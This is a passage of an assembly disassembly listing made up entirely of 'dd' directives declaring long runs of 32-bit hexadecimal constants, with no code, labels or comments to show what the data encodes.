		dd 0AC8CA0F2h, 0DBE64Eh, 25515583h, 3377C02Dh, 51F7232Eh
		dd 0F0854001h, 89D07275h, 2EFF0AA4h, 16A4442Ch,	0A9BE005Fh
		dd 0EBE28B13h, 2AE91900h, 391B3643h, 4FAE00DCh,	0EEE0CE41h
		dd 2C002F81h, 25DD84BFh, 0E5F8CFDh, 69522A9Eh, 0D5C05D40h
		dd 0A800B805h, 0A4C600Bh, 7AC7EEh, 3D49D662h, 2B2E10F9h
		dd 3216930Eh, 60C64FF2h, 4E3A0DA8h, 0BAA00A9h, 0E841D3C1h
		dd 0B5B88243h, 0E2164906h, 1C10A0h, 9E06FD80h, 0E3F30F5Ah
		dd 11AD8B00h, 64B082F0h, 0A20B0062h, 267795BFh,	0CE015527h
		dd 1E2E11A9h, 62E8D539h, 0A3CB0029h, 0F2F86C05h, 4E059117h
		dd 60AB8011h, 1E988800h, 156F9246h, 849E9340h, 74A91C0Eh
		dd 0C381C860h, 6D00B72Ah, 0DED50365h, 4A185FDh,	6B72A729h
		dd 39CFD0E5h, 0B71D9470h, 78C612C0h, 5C6046D4h,	42003684h
		dd 7B1860C4h, 0ED00F617h, 0A7AF0DEAh, 0EC4FB4h,	0E98BF0EBh
		dd 0C1281A2Dh, 61544100h, 15180A69h, 4B5E00C4h,	0F6C9278h
		dd 0FDF0E431h, 253F2301h, 2D9AB568h, 72D48C20h,	0C0EE00CFh
		dd 0EDA18FAh, 2804151Dh, 0CA97EC66h, 3AE83C90h,	0DAA730B2h
		dd 562B5811h, 0DF360C18h, 92610B31h, 3F5C1210h,	0F12C0F76h
		dd 0C55EA701h, 2908F770h, 9A82E7Eh, 4000F509h, 4A1B5E63h
		dd 6230820Ch, 6828F0h, 0CF1CB46Fh, 0D86BA324h, 8CD4D100h
		dd 0FD0949B6h, 61E40E63h, 81E0E7D3h, 1AF6754Bh,	8068123Ch
		dd 0A29854D7h, 0E47CCF46h, 0DB0B07C3h, 431A03C9h, 0DFB02B4h
		dd 0EC8040B5h, 0AF31D090h, 0B959900h, 59C8E8FBh, 80A038B7h
		dd 0C6EA1E00h, 2ECD5D5Bh, 0D50E9F0Fh, 6E552078h, 0EE24283Fh
		dd 5A6D003Dh, 0F02B5EABh, 0E490EB80h, 0BD0D2200h, 4C30A94Ah
		dd 0DBAF0078h, 99DF2792h, 0EA01A59Dh, 48BBF1D2h, 6DFD9367h
		dd 0E85ADE4h, 99080EB8h, 8D2E3AC0h, 470F76B9h, 8FFEB2FDh
		dd 0BBD204Ah, 92152Fh, 8571B3F9h, 0C4E96A98h, 10CBED2Ch
		dd 367C3D00h, 1197E41h,	305E2191h, 4051766Ch, 6BD2C4CCh
		dd 0EA53B801h, 94D4F7F1h, 4D34E0h, 12BE8FC2h, 9CB6ABDCh
		dd 0A224171Eh, 6C4400FEh, 0F1F44290h, 6D2F00EEh, 541BADE7h
		dd 74004EA0h, 87CD711Ah, 1E6A14Bh, 99610997h, 0F88A73E1h
		dd 2E7A3BC9h, 0B6438600h, 0B075E5B7h, 0BA0D03F0h, 153C16A2h
		dd 5394100h, 4FEDA5E1h,	1A80307Ch, 0ACF50748h, 0A30096E8h
		dd 0C2FA8260h, 28DEC02Fh, 9B0AB0h, 75704871h, 97ACCDFDh
		dd 0CF00A575h, 5F4AAAF8h, 89B09h, 0F57E8A93h, 33A21947h
		dd 0C22B9E02h, 0E011F458h, 52C176h, 0FA5B99E2h,	4B367A50h
		dd 94844A01h, 79402708h, 71B26ECh, 3B022053h, 744D6354h
		dd 22A54803h, 255034Ch,	382A8D11h, 0DE60C147h, 0EE005791h
		dd 0FF7F114Ah, 7AD5E2B1h, 2FEF078Dh, 733C252h, 831580E4h
		dd 0D32E71DEh, 88004442h, 93EEB9C4h, 0BE3F5CC2h, 6035939h
		dd 0A56B665Dh, 0E1087098h, 8DA9C401h, 460A2913h, 166E21FCh
		dd 419DD517h, 0BAE3668Ch, 0B4BC208Eh, 948659h, 87C1EB6Dh
		dd 61EAA2h, 0AFA71852h,	5BEDC0D5h, 8101FAF4h, 2816CCD1h
		dd 78344590h, 0E1C32664h, 4E843EC0h, 8069333Eh,	13EB5378h
		dd 0A3EFB704h, 11C0B81Ah, 27289Bh, 0BC922F79h, 0F570A595h
		dd 43018AFAh, 8B04E246h, 96DC8D62h, 2DF20215h, 1A796BCDh
		dd 0C0DEF1E1h, 0A49874C1h, 0D6120424h, 0DCA8D803h, 6C00099h
		dd 3C611323h, 48003578h, 79FB4B0Dh, 2C7354h, 85490C71h
		dd 2D3426DFh, 7C140400h, 0B55B436Ch, 0DD10029h,	52166D73h
		dd 0DF788CBEh, 0A8A074B0h, 0A676F536h, 0DBFA9C00h, 31B66BD3h
		dd 78B7009Bh, 0B365C430h, 7F5808C2h, 853DDFh, 1171956Bh
		dd 1E5316Ah, 0BA7EE155h, 0FC8C24E2h, 7900580Bh,	390A16EAh
		dd 0C4F160h, 0C72C65CDh, 7D1A5523h, 671F667Dh, 2DC029FBh
		dd 0CF528769h, 38E500DBh, 0DE560DA0h, 0CA1678B6h, 0CC4359D2h
		dd 0E8C10A20h, 0E344E60h, 0C912239Fh, 3C0E78CBh, 97182A60h
		dd 7D244644h, 1400BCF9h, 0F3BD804Dh, 0FEC400B6h, 0A477BA3Fh
		dd 0C20B29D4h, 158A70Ah, 0A5E9F314h, 0AC74BEE5h, 39E203D4h
		dd 0DAED3679h, 7FA80E26h, 4FB5FE01h, 4E20E053h,	8ED70049h
		dd 0E4ED5A6Ah, 0D100D450h, 0FB476B89h, 0A0EE56E2h, 7FD8608h
		dd 55DDEB27h, 0B153016Fh, 0AB4C2048h, 5424771Ch, 4792167Bh
		dd 2E52B85Fh, 87A99880h, 54481D24h, 3511D6Fh, 2F8006B8h
		dd 0B0AD2100h, 67C73285h, 3F3C00ECh, 2FDF0766h,	0A7009C13h
		dd 4E9D035Bh, 711CFAh
		dd 0E95967DCh, 0F044623Ch, 70802637h, 19D3CF87h, 4887A247h
		dd 31F04198h, 0F72154C3h, 50B3F967h, 147E4490h,	57F04F71h
		dd 0AE4E2400h, 973E85C7h, 3CD60567h, 5C61C0Dh, 6DC468h
		dd 0A014162Ch, 0F400B4B6h, 919ED063h, 0CC1031h,	0F8F7C23Bh
		dd 83E84CC1h, 68469201h, 0FCDCD012h, 78582Dh, 9ACEA7F4h
		dd 2FA66F02h, 0A59C2401h, 1B8506C5h, 12882980h,	0E52241EAh
		dd 4C6DE1Fh, 39C02B05h,	21959C40h, 62A18A9Ch, 7E1A9988h
		dd 0F05955C1h, 7700E53Eh, 0A3C6853Fh, 3CCF2F1Eh, 2B0FF98Fh
		dd 0CB87079Ah, 62C16154h, 4408C9Eh, 0E149B4h, 9A24A95Bh
		dd 6234457Fh, 0B4189261h, 88434248h, 0E9CBF0h, 661CDCE0h
		dd 58BBB8Dh, 288C5002h,	816C70B3h, 0EB97F18Ch, 84302990h
		dd 54485EB8h, 24E5A242h, 0A0414B64h, 3F02F088h,	43EC7Eh
		dd 838BA70h, 3D375726h,	0A2B38A00h, 357DB082h, 0C0640B62h
		dd 0E400183Eh, 3F716532h, 5022F500h, 0B40112C2h, 3B390209h
		dd 6590FB8h, 42417CE8h,	1794B65Ch, 7C4717CEh, 2198DE4Eh
		dd 361014h, 35BEBF0Bh, 150589Ah, 9CA20FF0h, 0F09F22D6h
		dd 591F80DCh, 0C000948Fh, 0A02E27B8h, 0C4EC48B5h, 8E80853Fh
		dd 3F2C02BBh, 9526A54Dh, 9F1D6F81h, 71F41380h, 513562h
		dd 3CD25D89h, 3057DEA3h, 67562E1Ch, 55C7ED00h, 0F29D4Ah
		dd 6C1C0FF5h, 0E688FA73h, 52D48550h, 75287F02h,	60F02418h
		dd 6C077ABh, 7ECF601Dh,	0C2051C45h, 0E989E203h,	9FA8C8h
		dd 0ED850987h, 0A2D844C9h, 78027E01h, 0F0B8D95Ch, 1FAB430h
		dd 0D3677208h, 2CE13261h, 805B3D48h, 5769525Ah,	41DE60h
		dd 6B14280Dh, 0F1937C65h, 6FBCFD08h, 8A9500FEh,	88F40D3Ah
		dd 725ECA14h, 0D39600B8h, 9E3B4A34h, 0E6A8C15Dh, 0E40EA029h
		dd 0C6006AF2h, 33FE38FFh, 3FDD6EDBh, 71770688h,	0AC54001Eh
		dd 2A93CA32h, 757FB891h, 30B34D01h, 4F669F05h, 206428F9h
		dd 0C8C201EFh, 0B55802B1h, 0AA984084h, 0DA794F7Eh, 0CB8B1200h
		dd 34DDE3D5h, 0DEEC01C1h, 0F32482D2h, 7A51EC96h, 0ADA08C5Ah
		dd 0F20B00BCh, 0C066CB8Eh, 0C9EE1ED5h, 6B23C100h, 0A33790D0h
		dd 365F0F57h, 0CA4011ECh, 0C689D5FEh, 0D0B58F0Eh, 39F0A0FFh
		dd 7FBE84E8h, 4284A052h, 907407D8h, 0A2DB13h, 0C1F48DB2h
		dd 676F3Eh, 68D42D8Eh, 0B59A33h, 921C7E06h, 2746509Dh
		dd 48281400h, 7C452C3Ch, 24D6027Bh, 8064CEDDh, 803ECC0h
		dd 8BA8BF00h, 41929E8Fh, 37E5B8BEh, 0E0B89C06h,	0ABCC3697h
		dd 506538h, 27A774CFh, 0A45BECh, 761BF7D9h, 2C17D85Eh
		dd 47F81100h, 0FB1DEED6h, 0E4A0906Dh, 23100099h, 5BF14B76h
		dd 0F6E8043Ah, 9121E760h, 47A063h, 7523C24Eh, 0F8943022h
		dd 390FC60Ah, 8A00CF52h, 4734FA6Eh, 0D1CB0132h,	0C587975Ah
		dd 147C34EBh, 9CDC6F00h, 599326D4h, 5447001Ch, 3A0D1D06h
		dd 510E4B23h, 60B7686Eh, 0AEA9B1F4h, 3B68B059h,	0A63D0EF5h
		dd 0E9F24201h, 0E06E25EEh, 0C98CE55h, 0C3E46700h, 32E0D6CFh
		dd 0BCAD10F8h, 43D79B5h, 0B0020074h, 9AB80CA8h,	5D50341h
		dd 0F9091556h, 18C8D98h, 0FFEE7D12h, 0B5C97400h, 0A82332EDh
		dd 34D621E4h, 500FFEh, 69E1C5BCh, 0B40039DFh, 34E45A61h
		dd 33691ACh, 25AB37D2h,	0ADA8C0C5h, 454CDE99h, 0EA4000BCh
		dd 0AC01F6E1h, 0C0BF78A4h, 0A2BB19C9h, 0F8074A98h, 1E67E4B7h
		dd 348417A0h, 0DD60006Dh, 9124D593h, 57005A5Fh,	0E34974C4h
		dd 0B816802Ah, 9131220h, 0FA740045h, 0ACB4D63Eh, 0E8760807h
		dd 0DB13E93Fh, 8E3AE838h, 0A706124Ah, 0CC8C073h, 0BF0082BBh
		dd 45A3BD5Eh, 2B98D4Bh,	0FEE607F7h, 0A868CC85h,	603D478Bh
		dd 0A48400E0h, 9B83F972h, 0EC6D0122h, 0D12B6BBAh, 584BE7BBh
		dd 0C30B3800h, 0E84037h, 627AD9ACh, 517CF482h, 0D2AB9D01h
		dd 32DE248Eh, 0F8AC61BFh, 0F53700B9h, 0F096A0F3h, 69163DE0h
		dd 6C433930h, 0C765E8E4h, 59503190h, 904D00AFh,	0A6BFCE25h
		dd 0BD041916h, 0EF05DD14h, 7C474881h, 781F7CCh,	82A6DA25h
		dd 43EA302Fh, 8002F253h, 0D5EC6378h, 2CC885AFh,	74BC880Ah
		dd 38A58900h, 585F94h, 10D0C6C8h, 565A6870h, 5DACCA00h
		dd 84BE0C9Eh, 863703E8h, 8B19AFDEh, 0C8EAED98h,	0EDB39h
		dd 0BBE23047h, 5BE7291h, 5D29F3FAh, 71589016h, 0AB2731CDh
		dd 83C883C4h, 25B21390h, 889D0054h, 0E013DFF2h,	9589E807h
		dd 0F021F3A2h, 0CFC76858h, 20B29350h, 732C07EEh, 20DBFC2Bh
		dd 9F4E91E3h, 9C830500h, 1EF4265h, 371B243Ch, 0B9B40630h
		dd 5F3C8072h, 20DB812Eh, 53485773h, 82EC20h, 64243E7Fh
		dd 79BDB698h, 4C6F2C00h, 3C3281C5h, 9BFF037Eh, 0AEDFB274h
		dd 0BC607FFAh, 249007BFh, 10A69901h, 3C117ED9h,	97395080h
		dd 8DB3B666h, 85778003h, 9041EB19h, 741FF822h, 9979000Bh
		dd 3915744Ah, 2059180h,	64D7A7A9h, 251F5180h, 0F1B500CDh
		dd 0BD8E33Ah, 20075BEh,	1BFF27C9h, 79E81661h, 0DAF00377h
		dd 0B0E768D6h, 8EE55688h, 8920AA00h, 0B10699C1h, 4230E99Dh
		dd 0B524003Fh, 0EDCD6B63h, 0B4B0870Fh, 10BF9400h, 9B701A28h
		dd 139C012Dh, 97E3DBECh, 842CB6h, 0E49EAF82h, 0E7D5C8h
		dd 76A7783Ch, 0AEFCD08Dh, 0A598F500h, 5852B370h, 20E079h
		dd 0D7CF3EA0h, 191D5766h, 12697700h, 0C388B24Eh, 0E3EB2009h
		dd 62594A1Fh, 0BEF11D05h, 70B460D0h, 95E8A8DFh,	74A40191h
		dd 0EE5328C1h, 0EA7F20A8h, 0C50C040Bh, 14E820B6h, 90A40DB5h
		dd 0F8FA00ECh, 0CA347B4Fh, 3E006A0Bh, 962CD683h, 0A60C55h
		dd 62EF4089h, 8D3D30DFh, 0D62E7218h, 1E00478h, 0A56ACB58h
		dd 20F2A36Eh, 2F0430E1h, 0B2863334h, 0E267D480h, 6D0E24B4h
		dd 29EB078Ch, 0B02E34A7h, 1C00CA98h, 0A86FDD9Eh, 1799B180h
		dd 4005588Fh, 0ACFED0C8h, 396003F7h, 8D4AF431h,	0D0F664BCh
		dd 5A7A47BAh, 8840ED45h, 0CA77BCBh, 668600E5h, 31B4ACEBh
		dd 0E13EB6FFh, 573D0C0Bh, 0F75116h, 66F67B65h, 0B9784933h
		dd 0B4EF6C00h, 1E8607F1h, 0CF081EADh, 0EA4F80D1h, 0CC05F5A7h
		dd 76E4CA0Eh, 795E6091h, 2F3C5FFh, 0E8DEEE6Bh, 882B572h
		dd 8080D7D9h, 9B6F0FB1h, 52603374h, 0CEBF1178h,	4FDBE84Bh
		dd 70004B28h, 139B58A0h, 4F1DCF47h, 33066F11h, 396A43h
		dd 0DA45CE8Fh, 0F7185598h, 0F619C407h, 1490095Ah, 0FDF3F83h
		dd 2F870767h, 54417CA3h, 0E1C524C1h, 0EF304166h, 1E9DF051h
		dd 112B3600h, 0C753A034h, 4121DC85h, 1942CF70h,	0E42D87h
		dd 43246FA5h, 4B06B654h, 0D6F022F2h, 0DC019704h, 0F08D6C34h
		dd 0E1000811h, 88CAFFA2h, 58192657h, 0E3009CF5h, 943B7F84h
		dd 0A6028087h, 0DC537ECCh, 0C928609Bh, 5A84003Dh, 2E9E2847h
		dd 0C498ACBBh, 5BED1600h, 4A90DFE9h, 13EB98A2h,	78442Dh
		dd 0AC3E553Dh, 8E00A033h, 6F0499CFh, 1E4BD94Dh,	0CC17AE6Ah
		dd 0F230FF76h, 0D85C8505h, 0B9C7CBC0h, 402A7E42h, 0DDC189h
		dd 699BE288h, 0DF7F0898h, 787C9A00h, 0FE4AE934h, 0C2C30F17h
		dd 0B7A0E63Ch, 0F622EE8h, 76577807h, 99B05E5Fh,	0B3B8FCh
		dd 6A805897h, 0F282099Ah, 8E63FF27h, 0E736C0A8h, 0ECB7B4h
		dd 821F573Eh, 8110457Dh, 8E9B7B01h, 1270C5B8h, 107E3D8h
		dd 0F57739C0h, 7C99EDC4h, 0F409B9BCh, 0F4049FF2h, 9AB2B418h
		dd 4EC2F010h, 0E48004E2h, 0EF8B0F6Bh, 0B32841E9h, 94387458h
		dd 28FC8611h, 12214D8h
		dd 113C42D6h, 0CC21FE1Dh, 90D43108h, 0F8058420h, 116A915Eh
		dd 8411E28Ch, 0B4A6116Bh, 116ED411h, 8821EE1Fh,	90B62108h
		dd 0FA1A8408h, 393C6C4Ah, 7C508C22h, 0E5440514h, 1F6A44D0h
		dd 84108944h, 42F38F22h, 8A5F11B4h, 0CD084421h,	8AB890F0h
		dd 423D643Ch, 75FE1C11h, 870114A0h, 1910AC89h, 58019023h
		dd 75C76A59h, 0E47C1BD0h, 0F38004Ah, 0CB3B2215h, 0D6483A00h
		dd 8EAC0A8Dh, 0E2D10045h, 0B90D8AC2h, 0BA005CA5h, 69FAAA89h
		dd 123909CCh, 0C04041E3h, 0ACFD5A3Ch, 80B7063Fh, 0E4AFC7A9h
		dd 30F8F8Ch, 0FEDCCE39h, 17C3788Bh, 23F0C8C0h, 333F6C01h
		dd 5B9770E9h, 7E5C64h, 0D06312B1h, 94AADF48h, 0B5599105h
		dd 0CE48B85h, 82AB3093h, 2DCC1F58h, 2CFEBF1Dh, 75258680h
		dd 6EFACC2h, 1C67A294h,	0C7FE7089h, 0C0788F00h,	0DD0D8FAh
		dd 0C1ADC3Fh, 98781EC9h, 0AB6450FDh, 0BB73BCE5h, 22F1B10Bh
		dd 0EBC820D0h, 126BF79h, 45B39485h, 0F1A61462h,	0DAEA30E8h
		dd 210052E8h, 0AC72B269h, 0B8838BA9h, 0C62B001Ch, 0D4B86C04h
		dd 32009E26h, 0FD37560h, 7E922h, 40C8B994h, 0AFBD360Ch
		dd 9C281200h, 3D7E5539h, 2954003Bh, 67472486h, 3C008F30h
		dd 0BA8D2FFFh, 0F24521DBh, 5158014Dh, 0FD8659AEh, 7005C9D2h
		dd 0C01608E0h, 100479D0h, 0DCA4A2D3h, 0DC800035h, 0AC960799h
		dd 0CF005CF0h, 9012B895h, 0F87252h, 0C0406798h,	99F62F5Eh
		dd 397D7500h, 0EEF20F97h, 7CA805D3h, 0C0E94B29h, 27A6AE0h
		dd 51D26700h, 27172B12h, 4C355A7Dh, 6B0ECA38h, 76034A00h
		dd 4C91ACA8h, 89A51D0Ch, 0FF4E8D1h, 1EBA8CAAh, 8CD80A0h
		dd 0E4E7CA33h, 4D002732h, 0D885BEA9h, 4E7ED6AAh, 8F2C0071h
		dd 0AC08D4Bh, 0E5FE9C00h, 0BA9B102h, 419A00A7h,	43A4A60Eh
		dd 0DFFC1018h, 0DE513100h, 0EB350B55h, 28150119h, 0ABCA9D58h
		dd 0FDD840A2h, 2007414Fh, 0ED430A9Ah, 1AB653h, 0E4B2D28h
		dd 0BE198FF0h, 3FB2300Eh, 647CA023h, 51F5CC0h, 6D783A56h
		dd 81EC0F90h, 0D0DEB127h, 77068C04h, 0CE63AF00h, 5646E77Dh
		dd 39E00A67h, 0AC42ECh,	535B7B34h, 4C00C6F3h, 0B9A613F2h
		dd 131B88Bh, 0DE55E5A4h, 0E81CC8C4h, 4401F67Eh,	0D2B10ED7h
		dd 0E37037ACh, 47340375h, 0D5BB0A5Ch, 0DB70B998h, 5BCF9201h
		dd 0A11B2DF1h, 182848D9h, 0B840F201h, 207FBB93h, 72085914h
		dd 2C8D61h, 0F97ACB8Eh,	0A301F1D4h, 62B395F0h, 0C841CCB1h
		dd 6CD89339h, 5C5E01B7h, 741C0C55h, 0BDC08A04h,	8B1EAC31h
		dd 0C64A6E00h, 7225E794h, 1490D7h, 4E0E4D2Eh, 39DE5E6h
		dd 4982AF0Ch, 6FA11CDh,	4669A7A2h, 141F58FBh, 0C2C0EA1Fh
		dd 0C1E44E3Fh, 43E0FFh,	0E7DF858Ch, 9588468Fh, 9DEA1A00h
		dd 40D89122h, 26429037h, 25C718Bh, 472535FCh, 0ACF71860h
		dd 6D00FC94h, 0E90BDEF8h, 0D2D30026h, 25C55633h, 0E300F07Ch
		dd 0D1CCC3BBh, 33F2389h, 91A1014Fh, 0FAE82B48h,	7F00CF2Fh
		dd 0A8FB7CA7h, 1AB4CEh,	0A5F1C2D6h, 8103EA6Eh, 53D2BF00h
		dd 21A15463h, 0AC5B00ECh, 6637392Ah, 771FD5DFh,	80FED787h
		dd 38BDC8F6h, 76C2BAh, 7CA36229h, 8BC987CFh, 0C324271Fh
		dd 0D05A6AC3h, 0F161D77Bh, 13C037AEh, 0D82F5065h, 821009B6h
		dd 78E0EC50h, 8095BB7Ch, 21D2E0D4h, 74B9007Bh, 7D44568Fh
		dd 0AC002434h, 72EBF332h, 1D014Bh, 0E2C633A3h, 3D08DE6Fh
		dd 0D8274F28h, 0D6255C90h, 0C4146067h, 0B17932h, 77473E41h
		dd 0DFB85185h, 57603D00h, 0B2C34927h, 0FAFED8h,	2B5ED2B5h
		dd 461FBF6Bh, 0AB233A00h, 18928A39h, 477402ECh,	0B6BA3B8Fh
		dd 0BEDC9880h, 93005489h, 0B25AFF27h, 1289599h,	0A938E67Bh
		dd 0F8B5B064h, 0D801929Dh, 146336FEh, 0C8CF22DEh, 95153h
		dd 7B731A4Ch, 287880D6h, 0FC031F00h, 0C734C60Bh, 8207015Dh
		dd 15E3D06h, 6B30F4BFh,	3702DA00h, 0AB53739Dh, 0C6DB0089h
		dd 1527CE12h, 0AC0026E7h, 0C7881BEBh, 3CB285B9h, 49F722Bh
		dd 41A44144h, 0F8F1E6EFh, 0DD01C116h, 750E3201h, 773050C5h
		dd 30E2016Ch, 0B1A5A6F7h, 10A07081h, 2685B00h, 2E2F1201h
		dd 60530048h, 1619096Ah, 4D0747C7h, 72B36C7Ah, 0B2A5AD00h
		dd 0EEF70035h, 0A2BA1AE9h, 0E5EE4EB5h, 70B1F24Ah, 0C8C0C304h
		dd 883FC86Bh, 0FD3DE132h, 0E5F9009Ah, 0C9ED128Ah, 87AA0041h
		dd 0FB70A5DFh, 0C82685DEh, 240070BAh, 0C6F1F3A2h, 0DC093D10h
		dd 0B4677C00h, 0DBC0A0C5h, 0E286900h, 9601FB22h, 0D5EE00B2h
		dd 0CF8243E4h, 0D00DE2Dh, 0DB219C6Fh, 2868BA1h,	0B8D757D0h
		dd 0D0C4CDA7h, 0F8000976h, 8C53C304h, 0F4FD91h,	9926A8B8h
		dd 3174233Bh, 648F4200h, 0FB28DBA6h, 0CE570F24h, 2501B082h
		dd 3C9EDA4Dh, 81DD1C1Ch, 87894B83h, 47698054h, 7BD8009Fh
		dd 0D7789E63h, 438B59Dh, 904D8796h, 0F420EB68h,	0EA44E3h
		dd 224CFD29h, 960EF7A4h, 5BC1A30Fh, 0D12C3FEh, 0F21C007Dh
		dd 4F2F8CA1h, 1A00C81Ch, 434B05Bh, 0AED7F7h, 582C86B4h
		dd 0F135E384h, 0B0A3C42Eh, 0CD6ECB80h, 0EA3EC1h, 0E75660FEh
		dd 41DF4715h, 3AB74205h, 5880A180h, 1CAA97D4h, 4924882Bh
		dd 100784E2h, 30809E60h, 9DDF6211h, 80E01F5Ch, 0D776C669h
		dd 532A051Dh, 805022C3h, 0A6040268h, 0EAB95D00h, 110552AAh
		dd 96409F9Dh, 617DB2D3h, 0DB001090h, 15E2A859h,	24445780h
		dd 6058FA8Fh, 4FDC7354h, 6917B504h, 0C80403Dh, 104D37h
		dd 0A814746Dh, 0BB7901BEh, 81388000h, 0DBE37172h, 0A2403B86h
		dd 9C9613h, 2B8584B4h, 4C00C5ECh, 682AE62Fh, 70D367Dh
		dd 18F7128h, 0FC21A0C4h, 6E0012A1h, 0E38ACC3h, 3482C9Ch
		dd 0AAB789C7h, 3AD9AB7Ah, 0C6C0D77Ch, 0F607F8A5h, 4396D9B2h
		dd 0F8C224D3h, 52B68Dh,	6C1069F7h, 40DD6154h, 5A26F601h
		dd 6DAF3BF8h, 8C801861h, 30398D19h, 64016B7Fh, 50F26C11h
		dd 9FD8ED4Bh, 0C08350A1h, 1ED8FEA0h, 0C322D170h, 0D063585Dh
		dd 0C3E018EAh, 6AF41736h, 62829C0Ah, 4581B410h,	0AAF99EE7h
		dd 54C512F4h, 0A030CC5Eh, 0A0B2218Ch, 4A189BC0h, 643440EFh
		dd 0B4D6178h, 1BC386C0h, 0F0EF8B5h, 0A622021Ah,	0A20DCB7Dh
		dd 0B8F67C80h, 0A4000477h, 4E87C6AFh, 9155ADh, 6FFA769Ch
		dd 0E7FF08F5h, 362E5DE8h, 23056026h, 9280BBF6h,	2B09531h
		dd 34BAB6Ch, 31E0B55Ah,	78008B43h, 28FA8ADBh, 2451542Bh
		dd 106801h, 55421B2Ah, 0C028C803h, 1600C01Ah, 0B8C58925h
		dd 0A20CE3h, 0B5D6BAAAh, 0EB95F21Eh, 0CAECAD00h, 56E4F4C7h
		dd 0D8C91D38h, 7B833EFAh, 0D667DE31h, 9937B6E8h, 0D29C5500h
		dd 0EBED56D5h, 495400F9h, 387C4A32h, 43000C5Bh,	5F4F170Fh
		dd 0D1C260h, 8C4B30EFh,	0C83CCB69h, 5A5A6571h, 93883000h
		dd 95C9A8A0h, 9C0254ABh, 18E0B1D0h, 0DC98BF3Eh,	7BCA39h
		dd 7A1D6779h, 2961E9Ch,	1A52C541h, 7C7C297Dh, 0AA6A3901h
		dd 0D840B359h, 0A3D7F073h, 70704888h, 1084500h,	751DA60h
		dd 6E9D9600h, 1D8AD828h, 90CD5C0Eh, 56E7260Eh, 20F77060h
		dd 2F006D1Ch, 0FEC0C3D1h, 12752723h, 0CA853Dh, 5C48F626h
		dd 3700576Bh, 1B600D7Eh, 0FCEC3F39h, 7731F34Dh,	9FC430h
		dd 0D0469159h, 1C81D65Eh, 0B36FDF00h, 870978A7h, 27F68Dh
		dd 5C99F4C8h, 436023FDh, 5D0542F0h, 7EEDC7B2h, 8DB2780h
		dd 0BBBA30C9h, 0D4C110E0h, 89A61D39h, 142332h, 0C3164A82h
		dd 1A742Dh, 4B13058Ah
		dd 436AA0AAh, 75FA1201h, 0B38FC252h, 2FCEF0h, 0BC94878Ah
		dd 0F4CCC006h, 81245609h, 1FF870DCh, 0D7544470h, 1C009122h
		dd 0D400304Ch, 938C0400h, 0E0C64A6Dh, 64B25C49h, 0E7EB8Ah
		dd 9B8F1DB3h, 0CD015EF1h, 0BBC71297h, 91CCE77Bh, 0EEBA024Eh
		dd 94E5A04Ah, 383C7854h, 50A6877Ch, 3E1098AFh, 18ED90h
		dd 5E7AA7C0h, 6772F0D5h, 3E71A53Ah, 3D23E85h, 0E0A3EEC1h
		dd 8C01E587h, 0F7AE63B5h, 0AEA0560h, 201F794Ch,	0EC1E00C4h
		dd 2263A550h, 9E10C9h, 0F616A224h, 98F86382h, 31B06F20h
		dd 2008B28h, 4D42A37Ah,	72E47ABh, 6C74F1C4h, 161DA012h
		dd 7013843Bh, 0B0C09490h, 38211F31h, 232599BCh,	0C90D2840h
		dd 97666517h, 0CCDC0480h, 7078E6h, 557F5CE2h, 0D90E4B8Ah
		dd 0E4C8AB1Eh, 6DA84A03h, 14A6D952h, 0F33D4C73h, 6899F3Fh
		dd 7CC04EDFh, 1012E2DAh, 20F416C2h, 0F1C100ECh,	3D279944h
		dd 4C00D846h, 892EB79Dh, 1678ABAEh, 337014h, 6A6CDD4Bh
		dd 0AC0080DFh, 91A32539h, 0F579F94h, 0F47E36A9h, 0BE60236Fh
		dd 6F767A84h, 0D1085200h, 3364DF75h, 5D960B80h,	1C009DF2h
		dd 53DC5F32h, 0BD76F800h, 37EF0664h, 525013EDh,	276A01D3h
		dd 0C4E8AD96h, 78F15938h, 3D4000A8h, 0A32AB7F8h, 9070E8A4h
		dd 0A50D00E8h, 19BD91ACh, 74000ECCh, 811A586Eh,	901CE796h
		dd 0AEFC00D8h, 0DF31D916h, 0D0083ABh, 9EC8E821h, 3C1E513h
		dd 9F2AE06Dh, 0D7B81214h, 1D249131h, 8C0008BCh,	0BD922CA0h
		dd 5453187Ah, 0F0131EB0h, 175A9714h, 3CB20E88h,	0ABE9A107h
		dd 0B8200553h, 0F4BA17B3h, 6E9F0706h, 0F281C05Fh, 6525CB71h
		dd 938F439h, 9700FBD8h,	1434BCB1h, 2070282Fh, 6655E0D4h
		dd 0E3B01837h, 0AD54EFCh, 0F74BD00h, 1EE0F2A7h,	89FA0036h
		dd 6F082D80h, 7900E6D9h, 939726EBh, 33A349ACh, 896076C7h
		dd 981C9Dh, 97C44FBCh, 81000CEEh, 0C275A80Eh, 7A909E3Bh
		dd 7B2EEADh, 8B5346C5h,	3F5F20EAh, 0BF00D2CFh, 9BB15A8Eh
		dd 752A93h, 336561E4h, 0E1AE7A39h, 3AF35909h, 97D38069h
		dd 2D6517Bh, 1031607h, 8606FF1h, 71EB541Ah, 39C9F00Ch
		dd 0B1A8C500h, 0A3071D63h, 92AF03ABh, 570D5238h, 28821100h
		dd 7F07B326h, 2B5601B9h, 8531E3D1h, 1A4FD021h, 0A482E0A0h
		dd 59EA3D00h, 3C4EAB52h, 23161747h, 0D03C00B0h,	3D08AD3Eh
		dd 5518A00h, 53490B0Fh,	1510B86Ah, 0DCD4BB46h, 0FCDA4B01h
		dd 0C817C890h, 1A4D2AE1h, 0D75F1EC8h, 98048027h, 0FBF668h
		dd 0E57FCC63h, 0D8ABE628h, 8F2EAC0Fh, 521EEEB6h, 2780A0h
		dd 29C073A2h, 0DC38E55Ch, 4400114Eh, 0C81225Bh,	0B0830076h
		dd 7D57AC59h, 0EA0020AAh, 0A69FFAA9h, 0E0B91310h, 0D2EB4C3Bh
		dd 0F46F740Bh, 33622CA0h, 0B89955F5h, 0F200E024h, 589ACFD7h
		dd 0C880EB8Dh, 67AF7EE7h, 651C5AA9h, 9298CBD2h,	8BD418h
		dd 3FA30CC2h, 9DE59545h, 0A81E7F28h, 14EC6E07h,	614093B4h
		dd 7B153FB5h, 0A87CF0h,	0F9CF1C16h, 4FF4183Ah, 945E0C00h
		dd 77ABD133h, 0A0D900D0h, 0D881E344h, 157AACB5h, 0FF82E100h
		dd 24935350h, 62160085h, 2278E89Ah, 192679D8h, 0AF00F7CAh
		dd 0FA745BA0h, 97D5000Dh, 4276CB80h, 0F80186B1h, 41E88856h
		dd 8AC9EF94h, 2480CCh, 285C6D54h, 583C35A1h, 74032900h
		dd 11CFE186h, 61B801CEh, 3382C819h, 868F8DFh, 0F257D700h
		dd 458E9D9Fh, 15DB00F1h, 3251783Fh, 0C90E59FBh,	8313E829h
